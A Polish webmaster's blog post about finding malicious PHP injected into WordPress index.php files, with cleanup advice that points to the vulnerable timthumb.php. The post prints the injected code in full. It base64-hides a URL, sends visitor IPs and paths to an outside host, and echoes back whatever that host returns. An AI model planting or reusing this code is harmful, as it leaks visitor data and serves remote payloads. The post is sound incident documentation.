PROGRAMOWANIE i WEBMASTERKA

Informacje i porady dla programistów i webmasterów. Wersja bardzo beta

Obcy Kod na Stronie WP

Wcześniej tylko o tym słyszałem, teraz spotkało to i mnie. Zostałem zaatakowany, właściwie nie ja, tylko wvista.pl i inne moje strony. Do WordPress’owego pliku index.php przyczepił się taki oto kod

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>

Podczepia się ów kod do UWAGA, UWAGA! wszystkich plików index.php (niekoniecznie WordPressowych) w katalogu głównym serwera i w podkatalogach pierwszego poziomu. Pliki index.php w ‚głębszych’ podkatalogach i wszystkie inne pliki łącznie z index.html wydają się być bezpieczne – przynajmniej u mnie były niezarażone.

Co robi ten kod?

Ponieważ piszę ten tekst na szybko, teraz tylko kilka słów, później postaram się ‚wszcząć śledztwo’ i dowiedzieć się o nim więcej, łącznie ze sposobem skutecznego zabezpieczenia się na przyszłość.

Patrząc wstępnie widać, że ów skrypy łączy się z serwerem: http://browserglobalstat.com/statD/stat.php (ciąg: aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA po odkodowaniu), przesyła mu dane z naszego serwera i, jeśli zostaną spełnione warunki, pobiera kod trojana (Tego trojana niestaty usunąłem już ale postaram się go odtworzyć i, jeśli się uda, napisać później o nim coś więcej)

Jak się bronić i jak wyczyścić pliki?

Jak pisałem wcześniej, kod przylepia się do wszystkich plików index.php w katalogu głównym i w podkatalogach pierwszego poziomu na serwerze (przynajmniej tak było u mnie). Aby się go pozbyć należy przejrzeć pliki index.php i go usunąć i na wszelki wypadek pozmieniać hasła do serwera. Jak się bronić na przyszłość, postaram się dowiedzieć i napisać już wkrótce. Ciąg Dalszy Nastąpi … Rozpoczynam śledztwo…

OK, jest rozwiązanie

Jak opisano tu: Zero Day Vulnerability in many WordPress Themes atakowi winny jest najprawdopodobnie plik WordPress’a o nazwie timthumb.php. Odpowiada on za skalowanie wgrywanych grafik ale też pozwala wgrywać grafiki z zewnętrznych serwisów. Jak pisze autor zlinkowanego bloga:

timthumb.php is inherently insecure because it relies on being able to write files into a directory that is accessible by people visiting your website. That’s never a good idea. So if you want to be truly secure, just delete the file using “rm timthumb.php” and make sure it didn’t break anything in the theme you’re using. If you still want to use it but want to be a bit more secure, you can follow the instructions below.

Czyli, … jeśli chcesz być w pełni bezpieczny usuń wszystkie pliki timthumb.php lub, a jeśli potrzebujesz ich funkcjonalności (resize obrazków), przeedytuj je.

Przeedytowanie polega na (tu w skrócie, autor wspomnianiego bloga opisuje procedurę bardzo dokładnie) znalezieniu wszystkich plików timthumb.php (lub też thumb.php w niektórych wersjach), mogą one występować w katalogach ‚wp-themes’ i pluginach, najlepiej przeskanować całą zawartość WP, i usunięciu zawartości tablicy (linia 27)$allowedSites = array (…). Po edycji linia 27 powinna wyglądać tak: $allowedSites=();

Jeden komentarz do “Obcy Kod na Stronie WP”

  1. [...] nie miałem z nimi problemu, teraz jednak, najpierw przyczepił się złośliwy kod do stron www (Obcy Kod na stronie WP), a obecnie zostałem zaatakowany przez Babylon’a. Cholerstwo doczepiło się do wszystkich [...]

Komentuj

*